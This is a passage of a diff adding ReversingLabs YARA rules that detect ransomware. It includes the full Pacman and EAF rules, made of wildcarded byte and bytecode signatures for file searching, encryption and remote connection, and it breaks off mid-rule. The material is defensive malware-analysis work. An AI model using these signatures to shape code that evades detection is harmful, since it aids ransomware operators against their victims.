+            83 EC ?? 89 C1 E8 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            89 04 24 FF 15
+        }
+		$search_files_3 = {
+            FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 75 ?? 8B 85
+            ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 FF D7 83
+            EC ?? 85 C0 0F 84 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? EB ?? 90 8D B4 26 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 83 C3 ?? 8B 50 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? 29 D0 C1 F8 ?? 69 C0 ??
+            ?? ?? ?? 39 C3 0F 83 ?? ?? ?? ?? 8D 04 5B 8D 34 C5 ?? ?? ?? ?? 8B 04 C2 89 44 24 ??
+            8B 85 ?? ?? ?? ?? 89 04 24 FF D7 83 EC ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B
+            1C 30 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 04
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 5C
+            24 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 88
+            ?? ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 01 C7 04 24 ?? ?? ?? ?? FF 50 ?? 83 EC ?? 0F
+            B7 C0 B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 C1 E8 ?? ?? ?? ?? 31 F6 E9
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8
+            ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 5C 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? E9 ?? ?? ?? ?? 90 8D 74 26 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24
+            E8
+        }
+		$install_service = {
+            FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 89 C1 89 44 24 ?? 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 0C 24 89 44 24 ?? FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0
+            89 C3 0F 84 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? 8D 6C 24 ?? 8D 7C 24 ?? C7 44 24 ??
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 7C 24 ?? 89 44 24 ?? FF D0 83 EC
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83 E0 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? A1 ?? ??
+            ?? ?? 89 44 24 ?? FF D0 8B 74 24 ?? 89 44 24 ?? 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? B8
+            ?? ?? ?? ?? F7 64 24 ?? B8 ?? ?? ?? ?? C1 EA ?? 81 FA ?? ?? ?? ?? 0F 47 D0 B8 ?? ??
+            ?? ?? 81 FA ?? ?? ?? ?? 0F 42 D0 89 14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 6C 24 ?? C7
+            44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC
+            ?? 85 C0 74 ?? 3B 74 24 ?? 8B 44 24 ?? 72 ?? FF D0 2B 44 24 ?? 3B 44 24 ?? 76 ?? 89
+            1C 24 8B 1D ?? ?? ?? ?? FF D3 83 EC ?? 8B 44 24 ?? 89 04 24 FF D3 83 EC ?? 83 C4 ??
+            5B 5E 5F 5D C2 ?? ?? 8D B4 26 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83
+            EC ?? 83 C4 ?? 5B 5E 5F 5D C2 ?? ?? 8D B6 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? 89 1C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 89 6C 24 ?? C7 44
+            24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC ??
+            85 C0 0F 84 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 8B 44 24 ?? FF D0 8B 74 24 ?? 89 44 24 ??
+            83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 64 24 ?? B8 ?? ?? ?? ?? C1 EA ??
+            81 FA ?? ?? ?? ?? 0F 47 D0 B8 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 0F 42 D0 89 14 24 FF 15
+            ?? ?? ?? ?? 83 EC ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ??
+            ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? 3B 74 24 ?? 72 ?? 8B
+            44 24 ?? FF D0 2B 44 24 ?? 3B 44 24 ?? 76 ?? E9
+        }
+		$encrypt_files_5 = {
+            FF 15 ?? ?? ?? ?? 83 EC ?? 89 C7 BE ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF
+            15 ?? ?? ?? ?? 83 EC ?? 89 C2 89 44 24 ?? 83 F8 ?? 74 ?? 8D 44 24 ?? 89 44 24 ?? 89
+            14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85 C0 75 ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ??
+            ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ??
+            ?? ?? 83 EC ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
+            E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24
+            ?? 89 44 24 ?? 89 54 24 ?? 8B 43 ?? 89 04 24 E8 ?? ?? ?? ?? 89 44 24 ?? 8B 73 ?? 89
+            74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 04 B6 01 C0 89 44 24 ??
+            89 04 24 E8 ?? ?? ?? ?? 89 C5 C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44
+            24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC
+            ?? 89 C6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 8B 0D ?? ?? ?? ?? 89 4C 24
+            ?? 89 7C 24 ?? 89 C6 89 D7 89 5C 24 ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44
+            24 ?? 89 44 24 ?? 89 5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 0C 24 FF 54 24
+            ?? 83 EC ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 89 5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 2C 24
+            E8 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24
+            ?? 8D 44 24 ?? 89 44 24 ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 DA 31 F2 09 FA 0F
+            94 C0 0F B6 C0 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ??
+            ?? ?? 83 EC ?? 89 C3 FF 15 ?? ?? ?? ?? 85 C0 78 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24
+            ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 6C 24 ?? 8B 4C 24 ?? 89 0C 24 FF 15
+        }
+		$search_files_4 = {
+            FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 89 C3 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 81 C2 ?? ?? ?? ?? 8B 42 ??
+            83 E0 ?? 83 C8 ?? 89 42 ?? 89 1C 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 C3 8B
+            00 89 DA 03 50 ?? 8B 42 ?? 83 E0 ?? 83 C8 ?? 89 42 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ??
+            ?? ?? 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ??
+            ?? 83 EC ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BB ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ??
+            89 04 24 89 D9 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89
+            04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 ?? ??
+            ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 3B BD ??
+            ?? ?? ?? 75 ?? EB ?? 83 EC ?? 83 C7 ?? 39 BD ?? ?? ?? ?? 74 ?? 8B 45 ?? 89 44 24 ??
+            89 3C 24 89 D9 E8 ?? ?? ?? ?? EB ?? BE ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ??
+            ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95
+            ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 89 F0 8D 65 ?? 5B 5E 5F 5D C2
+        }
+		$remote_connection_3 = {
+            55 89 E5 57 56 53 83 EC ?? 89 4D ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 45 ?? 89 44 24 ?? C7 04 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 8B 03 89 45 ?? EB ?? 83 EC ?? 89 45 ?? 85 C0 74 ?? 3D ?? ??
+            ?? ?? 74 ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89
+            44 24 ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24
+            ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 83 7D ?? ??
+            74 ?? BE ?? ?? ?? ?? 8D 7D ?? EB ?? 83 EC ?? 8D 45 ?? 89 04 24 8D 4D ?? E8 ?? ?? ??
+            ?? 83 EC ?? 8B 45 ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C6 ?? 39 75 ?? 72 ?? 8B
+            45 ?? 8B 5C B0 ?? 89 7D ?? B8 ?? ?? ?? ?? 85 DB 74 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 04
+            43 C6 44 24 ?? ?? 89 44 24 ?? 89 1C 24 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04
+            24 E8 ?? ?? ?? ?? 83 EC ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? C1 F8 ?? 69 C0 ?? ?? ??
+            ?? 85 C0 74 ?? 8B 7D ?? 8D 9F ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 47 ?? 3B 47 ??
+            74 ?? 85 C0 74 ?? 8B 55 ?? 89 10 8D 48 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ??
+            8B 45 ?? 83 40 ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 8D 45 ?? 89 04
+            24 E8 ?? ?? ?? ?? 83 EC ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2 ??
+            ?? 89 C3 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? 89 1C 24 E8 ?? ?? ?? ?? 89 C3 EB ?? 53 83 EC ?? 8B 5C 24 ?? 8D 43 ?? 89 04 24 8B
+            0B E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? C7 04 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 C4 ?? 5B C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (($search_files and $encrypt_files and $remote_connection) or ($encrypt_files_2 and $remote_connection and $search_files) or ($search_files_2 and $encrypt_files_3 and $remote_connection_2) or ($install_service and $search_files_3 and $encrypt_files_4) or ($search_files_4 and $encrypt_files_5 and $remote_connection_3))
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Pacman : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Pacman ransomware."
+		author = "ReversingLabs"
+		id = "a440769b-030b-5b72-a6f2-cf478dd7acd2"
+		date = "2021-08-12"
+		modified = "2021-08-12"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Pacman.yara#L1-L68"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "0634303a4db2631edb40a9435444f3bdc4bc6eb745c7e43a54478e54e7507403"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Pacman"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$pacman_find_encrypted_1 = {
+            28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 28
+            29 02 00 06 1F 1C 28 0E 04 00 06 [0-2] 7E 13 00 00 04 20 0F 03 00 00 28 2F 00 00 06 25
+            26 28 5D 02 00 06 [0-2] 28 6D 01 00 06 [0-2] 0B 07 13 06 16 13 05 2B 31 11 06 11 05 9A
+            0C 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2]
+            08 28 55 02 00 06 [0-2] 26 11 05 17 D6 13 05 11 05 11 06 8E B7 32 C7 1D 45 01 00 00 00
+            F6 FF FF FF 17 2D 06 D0 1E 01 00 06 26 16 0A 38 BC 01 00 00 28 0A 00 00 06 [0-2] 6F 0D
+            00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 14 20
+            B0 0F 00 00 28 2F 00 00 06 [0-2] 1F 0A 8D 76 00 00 01 13 07 11 07 16 20 BF 0F 00 00 28
+            2F 00 00 06 [0-2] A2 11 07 17 20 C2 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 18 20 C5 0F
+            00 00 28 2F 00 00 06 [0-2] A2 11 07 19 20 C8 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1A
+            20 CB 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1B 20 CE 0F 00 00 28 2F 00 00 06 [0-2] A2
+        }
+		$pacman_find_encrypted_2 = {
+            11 07 1C 20 D1 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1D 20 D4 0F 00 00 28 2F 00 00 06
+            [0-2] A2 11 07 1E 20 C2 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1F 09 20 D7 0F 00 00 28
+            2F 00 00 06 [0-2] A2 11 07 14 14 14 28 7A 04 00 06 [0-2] 28 E2 05 00 06 [0-2] 0D 28 07
+            00 00 06 28 1A 04 00 06 [0-2] 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06
+            [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 28 E2 05 00 06 [0-2] 28 36 05 00 06
+            [0-2] 2C 78 1A 45 01 00 00 00 F6 FF FF FF 7E 16 00 00 04 28 9D 02 00 06 [0-2] 28 0A 00
+            00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04
+            00 06 [0-2] 28 E2 05 00 06 [0-2] 09 16 28 23 01 00 06 28 0A 00 00 06 [0-2] 6F 0D 00 00
+            06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 28 E2 05 00
+            06 [0-2] 28 66 04 00 06 DE 0F 25 28 4E 04 00 06 13 04 28 02 03 00 06 DE 00 06 17 D6 0A
+            06 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2]
+            28 E2 04 00 06 [0-2] 3F 1B FE FF FF 1B 45 01 00 00 00 F6 FF FF FF 28 28 00 00 06 2A
+        }
+		$pacman_encrypt = {
+            28 65 02 00 06 [0-2] 0A 16 13 05 20 00 04 00 00 13 07 06 11 07 28 2A 05 00 06 [0-2] 2C
+            19 1C 45 01 00 00 00 F6 FF FF FF 17 2D 06 D0 20 01 00 06 26 11 07 13 05 2B 15 11 07 15
+            D6 13 07 11 07 17 2F D0 17 45 01 00 00 00 F6 FF FF FF 20 DA 0F 00 00 28 2F 00 00 06 [0-2]
+            11 05 28 9D 02 00 06 [0-2] 28 E2 02 00 06 [0-2] 28 6E 03 00 06 06 28 0A 03 00 06 [0-2]
+            0B 14 13 04 14 0D 1F 0E 8D 25 00 00 01 13 0B 11 0B 16 ?? 9C 11 0B 17 ?? 9C 11 0B 18
+            ?? 9C 11 0B 19 ?? 9C 11 0B 1A ?? 9C 11 0B 1B ?? 9C 11 0B 1C ?? 9C 11 0B 1D ?? 9C 11 0B
+            1E 20 ?? ?? ?? ?? 9C 11 0B 1F 09 20 ?? ?? ?? ?? 9C 11 0B 1F 0A 20 ?? ?? ?? ?? 9C 11 0B
+            1F 0B 1F ?? 9C 11 0B 1F 0C 1F ?? 9C 11 0B 1F 0D 1F ?? 9C 11 0B 13 06 02 11 06 11 05 07
+            12 04 12 03 28 1F 01 00 06 05 2C 18 18 45 01 00 00 00 F6 FF FF FF 06 11 04 09 28 96 03
+            00 06 [0-2] 0C 2B 0C 06 11 04 09 28 7E 05 00 06 [0-2] 0C 04 08 17 28 45 01 00 06 [0-2]
+            13 08 20 01 04 00 00 8D 25 00 00 01 13 09 03 11 09 16 20 00 04 00 00 28 3A 03 00 06 [0-2]
+            13 0A 11 0A 16 33 0C 1D 45 01 00 00 00 F6 FF FF FF DE 24 11 08 11 09 16 11 0A 28 F6 04
+            00 06 2B CF 11 08 2C 11 18 45 01 00 00 00 F6 FF FF FF 11 08 28 1E 03 00 06 DC DE 0C 28
+            4E 04 00 06 28 02 03 00 06 DE 00 08 28 1E 03 00 06 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($pacman_find_encrypted_1 and $pacman_find_encrypted_2 and $pacman_encrypt)
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_EAF : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects EAF ransomware."
+		author = "ReversingLabs"
+		id = "6903030e-b1a1-5238-b377-ce8e4b18d3f3"
+		date = "2022-07-22"
+		modified = "2022-07-22"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.EAF.yara#L1-L89"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "3d10c852f95e8aa9bcd3543b96650b98ac57bcd2aa2b374e0badb63b5a4c0396"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "EAF"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            00 03 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 39 ?? ?? ?? ?? 00 7E ??
+            ?? ?? ?? 0C 03 28 ?? ?? ?? ?? 0D 03 28 ?? ?? ?? ?? 13 ?? 1E 8D ?? ?? ?? ?? 25 16 11 ??
+            A2 25 17 72 ?? ?? ?? ?? A2 25 18 7E ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 28 ??
+            ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 09 A2 25 1D 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ??
+            13 ?? 02 03 11 ?? 08 28 ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            2B ?? 16 13 ?? 11 ?? 2C ?? 00 00 03 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 00
+            00 00 DE ?? 26 00 00 DE ?? 2A
+        }
+		$encrypt_files_p2 = {
+            00 03 19 73 ?? ?? ?? ?? 0A 00 04 18 73 ?? ?? ?? ?? 0B 00 06 16 6A 6F ?? ?? ?? ?? 00 28
+            ?? ?? ?? ?? 0C 00 1F ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 05 09 73 ??
+            ?? ?? ?? 13 ?? 00 08 17 6F ?? ?? ?? ?? 00 08 18 6F ?? ?? ?? ?? 00 08 11 ?? 1F ?? 6F ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 00 08 11 ?? 1F ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 08 6F ??
+            ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 20 ?? ?? ?? ?? 13 ?? 11 ?? 8D ?? ?? ?? ?? 13 ?? 16
+            13 ?? 00 06 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? FE 02 16 FE 01 13
+            ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 2B ?? 11 ?? 20 ?? ?? ?? ??
+            32 ?? 11 ?? 20 ?? ?? ?? ?? FE 02 16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16
+            11 ?? 6F ?? ?? ?? ?? 00 00 2B ?? 11 ?? 20 ?? ?? ?? ?? 32 ?? 11 ?? 20 ?? ?? ?? ?? FE 02
+            16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 2B ??
+            00 07 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 58 13 ?? 00 11 ?? 16 FE 03 13 ??
+            11 ?? 3A ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ??
+            00 DC 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 00 DE ?? 08 2C ?? 08 6F ?? ?? ??
+            ?? 00 DC 07 6F ?? ?? ?? ?? 00 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 06 6F ?? ?? ??
+            ?? 00 00 DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? 00 DC 03 28 ?? ?? ?? ?? 00 17 13 ?? DE ?? 26
+            00 16 13 ?? DE ?? 11 ?? 2A
+        }
+		$find_files_p1 = {
+            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0C 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0D 00 09 06 08 9A
+            28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 08 9A 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 09 FE 06 ??
+            ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 2B ?? 16 13 ?? 11 ?? 2C ?? 00 7E ?? ?? ?? ?? 06 08 9A 6F ?? ?? ?? ?? 00 00 00 08 17
+            58 0C 08 06 8E 69 FE 04 13 ?? 11 ?? 3A ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 16
+            13 ?? 2B ?? 00 07 11 ?? 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? 16 13 ?? 11 ?? 2C ?? 00 07 11 ?? 9A 28 ?? ?? ?? ?? 00
+            00 00 11 ?? 17 58 13 ?? 11 ?? 07 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 DE ?? 26 00 00 DE ??
+            2A
+        }
+		$find_files_p2 = {
+            00 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 73 ?? ?? ?? ?? 0C 08 06 07 9A 7D ?? ?? ?? ?? 00 08 7B
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 7B ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 2B ?? 16 0D 09 2C ?? 00 08 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 00 00 00 07 17 58 0B 07 06 8E 69 32 ?? 00 DE ?? 26 00 00 DE ?? 2A
+        }
+		$destroy_exe_file = {
